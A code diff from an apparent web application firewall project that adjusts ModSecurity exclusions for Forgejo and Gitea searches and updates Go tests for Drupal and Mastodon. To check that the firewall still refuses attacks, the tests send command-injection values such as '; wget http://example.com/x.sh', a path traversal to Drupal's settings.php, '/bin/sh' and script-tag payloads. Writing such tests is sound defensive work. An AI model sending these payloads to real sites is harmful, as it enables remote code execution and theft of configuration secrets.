[]string{"current_pass", pass[0], pass[1]},
|
||||||
|
},
|
||||||
{"/admin/people/create", formData, pass},
|
{"/admin/people/create", formData, pass},
|
||||||
{drupalJSONRegister, jsonBody, []string{value}},
|
{drupalJSONRegister, jsonBody, []string{value}},
|
||||||
{drupalJSONRegister, jsonBody, []string{"pass.value"}},
|
{drupalJSONRegister, jsonBody, []string{"pass.value"}},
|
||||||
{"/user/1?_format=json", jsonBody, []string{value, "pass.0.existing"}},
|
{
|
||||||
|
"/user/1?_format=json",
|
||||||
|
jsonBody,
|
||||||
|
[]string{value, "pass.0.existing"},
|
||||||
|
},
|
||||||
{
|
{
|
||||||
"/jsonapi/user/user/86e2fbf4-0c01-4e2d-9c05-9a56e07f3e53", jsonBody,
|
"/jsonapi/user/user/86e2fbf4-0c01-4e2d-9c05-9a56e07f3e53", jsonBody,
|
||||||
[]string{"data.attributes.pass.value", "data.attributes.pass.existing"},
|
[]string{
|
||||||
|
"data.attributes.pass.value",
|
||||||
|
"data.attributes.pass.existing",
|
||||||
|
},
|
||||||
},
|
},
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
@@ -222,7 +247,11 @@ func TestDrupalAttacksAreRefusedInTheJSONPasswordReset(t *testing.T) {
|
|||||||
`../../sites/default/settings.php`,
|
`../../sites/default/settings.php`,
|
||||||
} {
|
} {
|
||||||
for _, field := range []string{"name", "mail"} {
|
for _, field := range []string{"name", "mail"} {
|
||||||
r := request{http.MethodPost, drupalJSONPasswordReset, []string{jsonBody}}
|
r := request{
|
||||||
|
http.MethodPost,
|
||||||
|
drupalJSONPasswordReset,
|
||||||
|
[]string{jsonBody},
|
||||||
|
}
|
||||||
body := `{"` + field + `":"` + attack + `"}`
|
body := `{"` + field + `":"` + attack + `"}`
|
||||||
|
|
||||||
got, _ := inspectBody(t, crs, r, body)
|
got, _ := inspectBody(t, crs, r, body)
|
||||||
@@ -241,12 +270,23 @@ func TestDrupalAttacksAreRefusedInTheJSONPasswordReset(t *testing.T) {
|
|||||||
{"ls -la", 932250},
|
{"ls -la", 932250},
|
||||||
{".htaccess@example.com", 930120},
|
{".htaccess@example.com", 930120},
|
||||||
} {
|
} {
|
||||||
r := request{http.MethodPost, drupalJSONPasswordReset, []string{jsonBody}}
|
r := request{
|
||||||
|
http.MethodPost,
|
||||||
|
drupalJSONPasswordReset,
|
||||||
|
[]string{jsonBody},
|
||||||
|
}
|
||||||
body := `{"mail":"` + kept.value + `"}`
|
body := `{"mail":"` + kept.value + `"}`
|
||||||
|
|
||||||
got, _ := inspectBody(t, crs, r, body)
|
got, _ := inspectBody(t, crs, r, body)
|
||||||
if got.Score < drupalThreshold || !slices.Contains(got.RuleIDs, kept.rule) {
|
if got.Score < drupalThreshold ||
|
||||||
t.Errorf("POST %s %s: %+v, want %d among them", r.target, body, got, kept.rule)
|
!slices.Contains(got.RuleIDs, kept.rule) {
|
||||||
|
t.Errorf(
|
||||||
|
"POST %s %s: %+v, want %d among them",
|
||||||
|
r.target,
|
||||||
|
body,
|
||||||
|
got,
|
||||||
|
kept.rule,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -317,10 +357,35 @@ func TestDrupalCommandAttackIsRefusedInTheExcludedBodyFields(t *testing.T) {
|
|||||||
|
|
||||||
got, _ := inspectBody(t, crs, r, sent.field+drupalCommandAttack)
|
got, _ := inspectBody(t, crs, r, sent.field+drupalCommandAttack)
|
||||||
if got.Score < drupalThreshold {
|
if got.Score < drupalThreshold {
|
||||||
t.Errorf("POST %s %s let through: %+v", r.target, sent.field, got)
|
t.Errorf(
|
||||||
|
"POST %s %s let through: %+v",
|
||||||
|
r.target,
|
||||||
|
sent.field,
|
||||||
|
got,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// An address keeps 932250, which refuses ls -la.
|
||||||
|
r := request{http.MethodPost, drupalEditAccount, []string{formData}}
|
||||||
|
|
||||||
|
got, _ := inspectBody(t, crs, r, "mail=ls%20-la")
|
||||||
|
if got.Score < drupalThreshold || !slices.Contains(got.RuleIDs, 932250) {
|
||||||
|
t.Errorf(
|
||||||
|
"POST %s mail=ls%%20-la: %+v, want 932250 among them",
|
||||||
|
r.target,
|
||||||
|
got,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestDrupalCommandAttackIsRefusedInTheExcludedJSONFields is the JSON half
|
||||||
|
// of TestDrupalCommandAttackIsRefusedInTheExcludedBodyFields.
|
||||||
|
func TestDrupalCommandAttackIsRefusedInTheExcludedJSONFields(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
crs := readingBodies(t)
|
||||||
|
|
||||||
for _, field := range []string{
|
for _, field := range []string{
|
||||||
`"title":"; wget http://example.com/x.sh"`,
|
`"title":"; wget http://example.com/x.sh"`,
|
||||||
`"subject":"; wget http://example.com/x.sh"`,
|
`"subject":"; wget http://example.com/x.sh"`,
|
||||||
@@ -342,7 +407,11 @@ func TestDrupalCommandAttackIsRefusedInTheExcludedBodyFields(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
r := request{http.MethodPatch, "/node/2?_format=json", []string{jsonBody}}
|
r := request{
|
||||||
|
http.MethodPatch,
|
||||||
|
"/node/2?_format=json",
|
||||||
|
[]string{jsonBody},
|
||||||
|
}
|
||||||
body := `{"title":[{"value":"; wget http://example.com/x.sh"}]}`
|
body := `{"title":[{"value":"; wget http://example.com/x.sh"}]}`
|
||||||
|
|
||||||
got, _ := inspectBody(t, crs, r, body)
|
got, _ := inspectBody(t, crs, r, body)
|
||||||
@@ -357,14 +426,6 @@ func TestDrupalCommandAttackIsRefusedInTheExcludedBodyFields(t *testing.T) {
|
|||||||
if got.Score < drupalThreshold {
|
if got.Score < drupalThreshold {
|
||||||
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
|
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
|
||||||
}
|
}
|
||||||
|
|
||||||
// An address keeps 932250, which refuses ls -la.
|
|
||||||
r = request{http.MethodPost, drupalEditAccount, []string{formData}}
|
|
||||||
|
|
||||||
got, _ = inspectBody(t, crs, r, "mail=ls%20-la")
|
|
||||||
if got.Score < drupalThreshold || !slices.Contains(got.RuleIDs, 932250) {
|
|
||||||
t.Errorf("POST %s mail=ls%%20-la: %+v, want 932250 among them", r.target, got)
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) {
|
func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) {
|
||||||
@@ -388,7 +449,13 @@ func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) {
|
|||||||
|
|
||||||
got, _ := inspectBody(t, crs, r, sent.field+value)
|
got, _ := inspectBody(t, crs, r, sent.field+value)
|
||||||
if got.Score >= drupalThreshold {
|
if got.Score >= drupalThreshold {
|
||||||
t.Errorf("POST %s %s%s refused: %+v", sent.target, sent.field, value, got)
|
t.Errorf(
|
||||||
|
"POST %s %s%s refused: %+v",
|
||||||
|
sent.target,
|
||||||
|
sent.field,
|
||||||
|
value,
|
||||||
|
got,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -407,7 +474,11 @@ func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) {
|
|||||||
t.Errorf("POST %s %s refused: %+v", r.target, body, got)
|
t.Errorf("POST %s %s refused: %+v", r.target, body, got)
|
||||||
}
|
}
|
||||||
|
|
||||||
r = request{http.MethodPost, "/fr" + drupalJSONPasswordReset, []string{jsonBody}}
|
r = request{
|
||||||
|
http.MethodPost,
|
||||||
|
"/fr" + drupalJSONPasswordReset,
|
||||||
|
[]string{jsonBody},
|
||||||
|
}
|
||||||
body = `{"name":"` + word + `"}`
|
body = `{"name":"` + word + `"}`
|
||||||
|
|
||||||
got, _ = inspectBody(t, crs, r, body)
|
got, _ = inspectBody(t, crs, r, body)
|
||||||
@@ -417,7 +488,11 @@ func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
for _, address := range []string{"python3@example.com", "powershell@example.com"} {
|
for _, address := range []string{"python3@example.com", "powershell@example.com"} {
|
||||||
r := request{http.MethodPost, "/fr" + drupalJSONPasswordReset, []string{jsonBody}}
|
r := request{
|
||||||
|
http.MethodPost,
|
||||||
|
"/fr" + drupalJSONPasswordReset,
|
||||||
|
[]string{jsonBody},
|
||||||
|
}
|
||||||
body := `{"mail":"` + address + `"}`
|
body := `{"mail":"` + address + `"}`
|
||||||
|
|
||||||
got, _ := inspectBody(t, crs, r, body)
|
got, _ := inspectBody(t, crs, r, body)
|
||||||
@@ -483,7 +558,11 @@ func TestDrupalBodyFieldsStayCheckedInTheQuery(t *testing.T) {
|
|||||||
{drupalEditAccount, "mail=python3"},
|
{drupalEditAccount, "mail=python3"},
|
||||||
{drupalTagForm, "name%5B0%5D%5Bvalue%5D=python3"},
|
{drupalTagForm, "name%5B0%5D%5Bvalue%5D=python3"},
|
||||||
} {
|
} {
|
||||||
r := request{http.MethodPost, sent.path + "?" + sent.field, []string{formData}}
|
r := request{
|
||||||
|
http.MethodPost,
|
||||||
|
sent.path + "?" + sent.field,
|
||||||
|
[]string{formData},
|
||||||
|
}
|
||||||
|
|
||||||
got, _ := inspectBody(t, crs, r, sent.field)
|
got, _ := inspectBody(t, crs, r, sent.field)
|
||||||
if got.Score < drupalThreshold {
|
if got.Score < drupalThreshold {
|
||||||
|
|||||||
@@ -19,3 +19,99 @@ SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/wiki/search$" \
|
|||||||
ctl:ruleRemoveTargetById=932160;ARGS:q,\
|
ctl:ruleRemoveTargetById=932160;ARGS:q,\
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:q,\
|
ctl:ruleRemoveTargetById=932250;ARGS:q,\
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:q"
|
ctl:ruleRemoveTargetById=932260;ARGS:q"
|
||||||
|
|
||||||
|
# Forgejo's search of a repository's code at a branch or a tag sends the text
|
||||||
|
# searched for in q. The search box on a repository's home page sends it there
|
||||||
|
# when Forgejo has no code indexer, as by default. A branch or tag name can
|
||||||
|
# hold a slash, as feat/docker-support does. q skips there the rules it skips
|
||||||
|
# on gitea's search of code (900600 in gitea.conf). Among them, these refused
|
||||||
|
# Forgejo's searches there:
|
||||||
|
# 930120: .htaccess
|
||||||
|
# 932120: powershell
|
||||||
|
# 932160: /bin/sh
|
||||||
|
# 932250: ls -la
|
||||||
|
# 932260: python3
|
||||||
|
# Forgejo has no owner named api, so a path under /api/ gets none of this.
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/search/(?:branch|tag)/.+$" \
|
||||||
|
"id:900681,phase:1,pass,nolog,chain"
|
||||||
|
SecRule REQUEST_FILENAME "!@rx ^/api/" \
|
||||||
|
"ctl:ruleRemoveTargetById=930110;ARGS:q,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;ARGS:q,\
|
||||||
|
ctl:ruleRemoveTargetById=931100;ARGS:q,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:q,\
|
||||||
|
ctl:ruleRemoveTargetById=932130;ARGS:q,\
|
||||||
|
ctl:ruleRemoveTargetById=932140;ARGS:q,\
|
||||||
|
ctl:ruleRemoveTargetById=932160;ARGS:q,\
|
||||||
|
ctl:ruleRemoveTargetById=932235;ARGS:q,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;ARGS:q,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:q,\
|
||||||
|
ctl:ruleRemoveTargetById=932380;ARGS:q,\
|
||||||
|
ctl:ruleRemoveTargetById=933100;ARGS:q,\
|
||||||
|
ctl:ruleRemoveTargetById=933130;ARGS:q,\
|
||||||
|
ctl:ruleRemoveTargetById=933135;ARGS:q,\
|
||||||
|
ctl:ruleRemoveTargetById=934100;ARGS:q,\
|
||||||
|
ctl:ruleRemoveTargetById=934110;ARGS:q,\
|
||||||
|
ctl:ruleRemoveTargetById=934130;ARGS:q,\
|
||||||
|
ctl:ruleRemoveTargetById=941100;ARGS:q,\
|
||||||
|
ctl:ruleRemoveTargetById=941110;ARGS:q,\
|
||||||
|
ctl:ruleRemoveTargetById=941160;ARGS:q,\
|
||||||
|
ctl:ruleRemoveTargetById=941180;ARGS:q,\
|
||||||
|
ctl:ruleRemoveTargetById=941390;ARGS:q,\
|
||||||
|
ctl:ruleRemoveTargetById=942100;ARGS:q,\
|
||||||
|
ctl:ruleRemoveTargetById=942140;ARGS:q,\
|
||||||
|
ctl:ruleRemoveTargetById=942190;ARGS:q,\
|
||||||
|
ctl:ruleRemoveTargetById=942230;ARGS:q,\
|
||||||
|
ctl:ruleRemoveTargetById=944100;ARGS:q,\
|
||||||
|
ctl:ruleRemoveTargetById=944110;ARGS:q,\
|
||||||
|
ctl:ruleRemoveTargetById=944130;ARGS:q"
|
||||||
|
|
||||||
|
# A page opened from the results of that search has the search's address in
|
||||||
|
# Referer, which skips these rules then, as after gitea's searches (900601 in
|
||||||
|
# gitea.conf):
|
||||||
|
# 941110: <script>
|
||||||
|
# 941120: onClick={
|
||||||
|
# 941160: <img src=
|
||||||
|
# 942100: LIKE '%foo%'
|
||||||
|
# 944100: java.lang.Runtime
|
||||||
|
# A path under /api/ is left out here too.
|
||||||
|
SecRule REQUEST_HEADERS:Referer \
|
||||||
|
"@rx ^https?://[^/]+/[^/]+/[^/]+/search/(?:branch|tag)/[^?]+\?" \
|
||||||
|
"id:900684,phase:1,pass,nolog,chain"
|
||||||
|
SecRule REQUEST_HEADERS:Referer "!@rx ^https?://[^/]+/api/" \
|
||||||
|
"ctl:ruleRemoveTargetById=941110;REQUEST_HEADERS:Referer,\
|
||||||
|
ctl:ruleRemoveTargetById=941120;REQUEST_HEADERS:Referer,\
|
||||||
|
ctl:ruleRemoveTargetById=941160;REQUEST_HEADERS:Referer,\
|
||||||
|
ctl:ruleRemoveTargetById=942100;REQUEST_HEADERS:Referer,\
|
||||||
|
ctl:ruleRemoveTargetById=944100;REQUEST_HEADERS:Referer"
|
||||||
|
|
||||||
|
# Forgejo's search of a repository's releases, on its page and in the API,
|
||||||
|
# matches q against each release's title and tag. A tag name can hold a slash.
|
||||||
|
# q skips these rules there:
|
||||||
|
# 930120: .htaccess
|
||||||
|
# 932120: powershell
|
||||||
|
# 932160: /bin/sh
|
||||||
|
# 932250: ls -la
|
||||||
|
# 932260: python3
|
||||||
|
# Forgejo has no owner named api, so /api/v1/releases is not one.
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/(?:api/v1/repos/)?[^/]+/[^/]+/releases$" \
|
||||||
|
"id:900682,phase:1,pass,nolog,chain"
|
||||||
|
SecRule REQUEST_FILENAME "!@rx ^/api/[^/]+/releases$" \
|
||||||
|
"ctl:ruleRemoveTargetById=930120;ARGS:q,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:q,\
|
||||||
|
ctl:ruleRemoveTargetById=932160;ARGS:q,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;ARGS:q,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:q"
|
||||||
|
|
||||||
|
# The API's search of a job's log sends the text searched for in q, which
|
||||||
|
# skips these rules there:
|
||||||
|
# 930120: .htaccess
|
||||||
|
# 932120: powershell
|
||||||
|
# 932250: ls -la
|
||||||
|
# 932260: python3
|
||||||
|
SecRule REQUEST_FILENAME \
|
||||||
|
"@rx ^/api/v1/repos/[^/]+/[^/]+/actions/jobs/[0-9]+/logs$" \
|
||||||
|
"id:900683,phase:1,pass,nolog,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;ARGS:q,\
|
||||||
|
ctl:ruleRemoveTargetById=932120;ARGS:q,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;ARGS:q,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:q"
|
||||||
@@ -6,13 +6,18 @@ import (
|
|||||||
"testing"
|
"testing"
|
||||||
)
|
)
|
||||||
|
|
||||||
// forgejoSearches are Forgejo's searches whose q skips some rules: the
|
// forgejoSearches are Forgejo's searches whose q skips some rules: those of
|
||||||
// wiki's, from the fifteenth change, and the searches for a name, from the
|
// a wiki, of releases and of a job's log, from the fifteenth change, and the
|
||||||
// eighth.
|
// searches for a name, from the eighth. The search of code at a branch or tag
|
||||||
|
// is not one of them: there, as on gitea's search of code, q lets these
|
||||||
|
// attacks through.
|
||||||
//
|
//
|
||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
var forgejoSearches = []string{
|
var forgejoSearches = []string{
|
||||||
"/alice/tools/wiki/search",
|
"/alice/tools/wiki/search",
|
||||||
|
"/alice/tools/releases",
|
||||||
|
"/api/v1/repos/alice/tools/releases",
|
||||||
|
"/api/v1/repos/alice/tools/actions/jobs/1/logs",
|
||||||
"/explore/repos",
|
"/explore/repos",
|
||||||
"/explore/users",
|
"/explore/users",
|
||||||
"/alice/tools/branches",
|
"/alice/tools/branches",
|
||||||
@@ -32,7 +37,7 @@ var forgejoAttacks = []string{
|
|||||||
func TestForgejoAttacksAreRefusedInItsSearches(t *testing.T) {
|
func TestForgejoAttacksAreRefusedInItsSearches(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
|
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||||
|
|
||||||
defaults, bodies := atDefaults(t), readingBodies(t)
|
defaults, bodies := atDefaults(t), readingBodies(t)
|
||||||
|
|
||||||
@@ -54,20 +59,37 @@ func TestForgejoAttacksAreRefusedInItsSearches(t *testing.T) {
|
|||||||
func TestForgejoExclusionsAreNarrow(t *testing.T) {
|
func TestForgejoExclusionsAreNarrow(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
|
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||||
|
|
||||||
crs := atDefaults(t)
|
crs := atDefaults(t)
|
||||||
|
|
||||||
// /bin/sh and the hard values, which q lets through on the wiki's
|
// /bin/sh and the hard values, which q lets through on the searches of
|
||||||
// search, stay refused in q on paths near it and in another field on it.
|
// the fifteenth change and on those of branches and packages, stay
|
||||||
|
// refused in q on paths near them and in another field on them.
|
||||||
// /alice/wiki/search would be the code search of a repository named
|
// /alice/wiki/search would be the code search of a repository named
|
||||||
// wiki, where the eighth change lets q through. Forgejo has no owner
|
// wiki, where the eighth change lets q through. Forgejo has no owner
|
||||||
// named api, so /api/wiki/search is not one.
|
// named api, so the paths under /api/ here are not searches.
|
||||||
for _, target := range []string{
|
for _, target := range []string{
|
||||||
"/alice/tools/wiki/Home?q=",
|
"/alice/tools/wiki/Home?q=",
|
||||||
"/alice/tools/wiki/search/x?q=",
|
"/alice/tools/wiki/search/x?q=",
|
||||||
"/api/wiki/search?q=",
|
"/api/wiki/search?q=",
|
||||||
"/alice/tools/wiki/search?other=",
|
"/alice/tools/wiki/search?other=",
|
||||||
|
"/alice/tools/search/branch?q=",
|
||||||
|
"/alice/tools/search/commit/0123abc?q=",
|
||||||
|
"/alice/tools/src/branch/main?q=",
|
||||||
|
"/api/tools/search/branch/main?q=",
|
||||||
|
"/alice/tools/search/branch/main?other=",
|
||||||
|
"/alice/tools/releases/tag/v1.0?q=",
|
||||||
|
"/alice/tools/releases/latest?q=",
|
||||||
|
"/api/v1/releases?q=",
|
||||||
|
"/alice/tools/releases?other=",
|
||||||
|
"/api/v1/repos/alice/tools/actions/jobs/1?q=",
|
||||||
|
"/api/v1/repos/alice/tools/actions/runs/1/logs?q=",
|
||||||
|
"/alice/tools/actions/runs/1/jobs/0/logs?q=",
|
||||||
|
"/api/v1/repos/alice/tools/actions/jobs/1/logs?other=",
|
||||||
|
"/alice/tools/branches/x?q=",
|
||||||
|
"/alice/-/packages/npm/x?q=",
|
||||||
|
"/alice/tools/branches?other=",
|
||||||
} {
|
} {
|
||||||
for _, value := range slices.Concat([]string{"%2Fbin%2Fsh"}, hardValues) {
|
for _, value := range slices.Concat([]string{"%2Fbin%2Fsh"}, hardValues) {
|
||||||
if got := inspect(t, crs, get(target+value)); got.Score < threshold {
|
if got := inspect(t, crs, get(target+value)); got.Score < threshold {
|
||||||
@@ -75,4 +97,19 @@ func TestForgejoExclusionsAreNarrow(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Referer keeps its rules on a page opened from a path near the code
|
||||||
|
// search at a branch or tag.
|
||||||
|
for _, path := range []string{
|
||||||
|
"/alice/tools/search/branch",
|
||||||
|
"/alice/tools/search/commit/0123abc",
|
||||||
|
"/api/tools/search/branch/main",
|
||||||
|
} {
|
||||||
|
for _, attack := range []string{scriptTag, injection} {
|
||||||
|
referer := "Referer: http://example.com" + path + "?q=" + attack
|
||||||
|
if got := inspect(t, crs, get("/", referer)); got.Score < threshold {
|
||||||
|
t.Errorf("%s let through: %+v", referer, got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
@@ -115,6 +115,13 @@ SecRule REQUEST_FILENAME "@rx ^/(?:explore/repos|user/search_candidates|\
|
|||||||
ctl:ruleRemoveTargetById=932260;ARGS:q,\
|
ctl:ruleRemoveTargetById=932260;ARGS:q,\
|
||||||
ctl:ruleRemoveTargetById=944130;ARGS:q"
|
ctl:ruleRemoveTargetById=944130;ARGS:q"
|
||||||
|
|
||||||
|
# A branch or package name can hold a slash, as feat/docker-support and npm's
|
||||||
|
# @scope/name do. So q on a repository's branches page and on an owner's
|
||||||
|
# packages page also skips this rule:
|
||||||
|
# 932160: /bin/sh
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/(?:[^/]+/-/packages|[^/]+/[^/]+/branches)$" \
|
||||||
|
"id:900605,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932160;ARGS:q"
|
||||||
|
|
||||||
# gitea's other searches for a name send it in q too, which skips only these
|
# gitea's other searches for a name send it in q too, which skips only these
|
||||||
# rules there:
|
# rules there:
|
||||||
# 930120: .profile
|
# 930120: .profile
|
||||||
@@ -135,8 +142,8 @@ SecRule REQUEST_FILENAME "@rx ^/(?:repo/search|\
|
|||||||
ctl:ruleRemoveTargetById=932260;ARGS:q"
|
ctl:ruleRemoveTargetById=932260;ARGS:q"
|
||||||
|
|
||||||
# The repositories on a user's or an organisation's page are searched with q
|
# The repositories on a user's or an organisation's page are searched with q
|
||||||
# too. Their path has one segment, as other apps' pages such as /index.php do,
|
# too. Their path has one segment, so q skips these rules on every path of one
|
||||||
# so q keeps 932250 there and skips only these rules:
|
# segment, other apps' pages such as /index.php included:
|
||||||
# 930120: .profile
|
# 930120: .profile
|
||||||
# 932120: powershell-scripts
|
# 932120: powershell-scripts
|
||||||
# 932260: python3-app
|
# 932260: python3-app
|
||||||
@@ -146,6 +153,16 @@ SecRule REQUEST_FILENAME "@rx ^/[^/]+$" \
|
|||||||
ctl:ruleRemoveTargetById=932120;ARGS:q,\
|
ctl:ruleRemoveTargetById=932120;ARGS:q,\
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:q"
|
ctl:ruleRemoveTargetById=932260;ARGS:q"
|
||||||
|
|
||||||
|
# On those pages q skips 932250 too, which refused ls -la, but only on a path
|
||||||
|
# made of the characters a user's or an organisation's name may hold. Those are
|
||||||
|
# letters, digits, -, _ and dots, the first a letter or digit, so
|
||||||
|
# /login.jsp;jsessionid=abc keeps 932250. A path that ends in a server-side
|
||||||
|
# script's extension keeps it too, such as /index.php or /search.cgi.
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/[0-9A-Za-z][-.\w]*$" \
|
||||||
|
"id:900606,phase:1,pass,nolog,chain"
|
||||||
|
SecRule REQUEST_FILENAME "!@rx \.(?:php|phtml|php5|cgi|pl|py|asp|aspx|jsp)$" \
|
||||||
|
"t:lowercase,ctl:ruleRemoveTargetById=932250;ARGS:q"
|
||||||
|
|
||||||
# These requests name a file in the path, which skips these rules there:
|
# These requests name a file in the path, which skips these rules there:
|
||||||
# 920500: notes.txt~
|
# 920500: notes.txt~
|
||||||
# 934100: process.env.d.ts
|
# 934100: process.env.d.ts
|
||||||
|
|||||||
@@ -4,8 +4,8 @@
|
|||||||
# exclusion runs with the request, before the rules it switches off, so this
|
# exclusion runs with the request, before the rules it switches off, so this
|
||||||
# file is loaded before the Core Rule Set's rules. Each comment names a request
|
# file is loaded before the Core Rule Set's rules. Each comment names a request
|
||||||
# a rule refused. An exclusion on a field of a body applies only when the query
|
# a rule refused. An exclusion on a field of a body applies only when the query
|
||||||
# has no parameter of that name, so it matters only while
|
# has no parameter of that name, so it matters only while SWW_WAF_BODY_LIMIT is
|
||||||
# SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set.
|
# set.
|
||||||
#
|
#
|
||||||
# Gitea serves /api/v1/ too, and Drupal serves /admin/. So only Mastodon's own
|
# Gitea serves /api/v1/ too, and Drupal serves /admin/. So only Mastodon's own
|
||||||
# resources under them count as Mastodon's paths.
|
# resources under them count as Mastodon's paths.
|
||||||
|
|||||||
@@ -12,7 +12,7 @@ import (
|
|||||||
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
||||||
)
|
)
|
||||||
|
|
||||||
// mastodonThreshold is SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default.
|
// mastodonThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
|
||||||
const mastodonThreshold = 5
|
const mastodonThreshold = 5
|
||||||
|
|
||||||
// mastodonStatuses is where Mastodon's apps and web app post.
|
// mastodonStatuses is where Mastodon's apps and web app post.
|
||||||
@@ -106,26 +106,58 @@ var mastodonFormFields = []mastodonBodyField{
|
|||||||
{http.MethodPost, "/api/v1/admin/domain_blocks", "private_comment="},
|
{http.MethodPost, "/api/v1/admin/domain_blocks", "private_comment="},
|
||||||
{http.MethodPost, "/api/v1/admin/domain_blocks", "public_comment="},
|
{http.MethodPost, "/api/v1/admin/domain_blocks", "public_comment="},
|
||||||
{http.MethodPost, "/api/v1/admin/ip_blocks", mastodonComment},
|
{http.MethodPost, "/api/v1/admin/ip_blocks", mastodonComment},
|
||||||
{http.MethodPost, "/admin/domain_blocks", "domain_block[private_comment]="},
|
{
|
||||||
{http.MethodPost, "/admin/domain_blocks", "domain_block[public_comment]="},
|
http.MethodPost,
|
||||||
|
"/admin/domain_blocks",
|
||||||
|
"domain_block[private_comment]=",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
http.MethodPost,
|
||||||
|
"/admin/domain_blocks",
|
||||||
|
"domain_block[public_comment]=",
|
||||||
|
},
|
||||||
{http.MethodPost, "/admin/ip_blocks", "ip_block[comment]="},
|
{http.MethodPost, "/admin/ip_blocks", "ip_block[comment]="},
|
||||||
{http.MethodPost, mastodonRules, "rule[text]="},
|
{http.MethodPost, mastodonRules, "rule[text]="},
|
||||||
{http.MethodPost, mastodonRules, "rule[hint]="},
|
{http.MethodPost, mastodonRules, "rule[hint]="},
|
||||||
{http.MethodPost, "/admin/announcements", "announcement[text]="},
|
{http.MethodPost, "/admin/announcements", "announcement[text]="},
|
||||||
{http.MethodPost, mastodonBranding, "form_admin_settings[site_title]="},
|
{http.MethodPost, mastodonBranding, "form_admin_settings[site_title]="},
|
||||||
{http.MethodPost, mastodonBranding, "form_admin_settings[site_short_description]="},
|
{
|
||||||
|
http.MethodPost,
|
||||||
|
mastodonBranding,
|
||||||
|
"form_admin_settings[site_short_description]=",
|
||||||
|
},
|
||||||
{
|
{
|
||||||
http.MethodPost, "/admin/settings/about",
|
http.MethodPost, "/admin/settings/about",
|
||||||
"form_admin_settings[site_extended_description]=",
|
"form_admin_settings[site_extended_description]=",
|
||||||
},
|
},
|
||||||
{http.MethodPost, "/filters", "custom_filter[title]="},
|
{http.MethodPost, "/filters", "custom_filter[title]="},
|
||||||
{http.MethodPost, "/filters", "custom_filter[keywords_attributes][0][keyword]="},
|
{
|
||||||
{http.MethodPost, "/settings/applications", "doorkeeper_application[name]="},
|
http.MethodPost,
|
||||||
{http.MethodPost, "/settings/applications", "doorkeeper_application[website]="},
|
"/filters",
|
||||||
|
"custom_filter[keywords_attributes][0][keyword]=",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
http.MethodPost,
|
||||||
|
"/settings/applications",
|
||||||
|
"doorkeeper_application[name]=",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
http.MethodPost,
|
||||||
|
"/settings/applications",
|
||||||
|
"doorkeeper_application[website]=",
|
||||||
|
},
|
||||||
{http.MethodPost, "/settings/aliases", "account_alias[acct]="},
|
{http.MethodPost, "/settings/aliases", "account_alias[acct]="},
|
||||||
{http.MethodPost, "/settings/migration", "account_migration[acct]="},
|
{http.MethodPost, "/settings/migration", "account_migration[acct]="},
|
||||||
{http.MethodPost, mastodonAccount, "user[invite_request_attributes][text]="},
|
{
|
||||||
{http.MethodPost, "/admin/accounts/1/action", "admin_account_action[text]="},
|
http.MethodPost,
|
||||||
|
mastodonAccount,
|
||||||
|
"user[invite_request_attributes][text]=",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
http.MethodPost,
|
||||||
|
"/admin/accounts/1/action",
|
||||||
|
"admin_account_action[text]=",
|
||||||
|
},
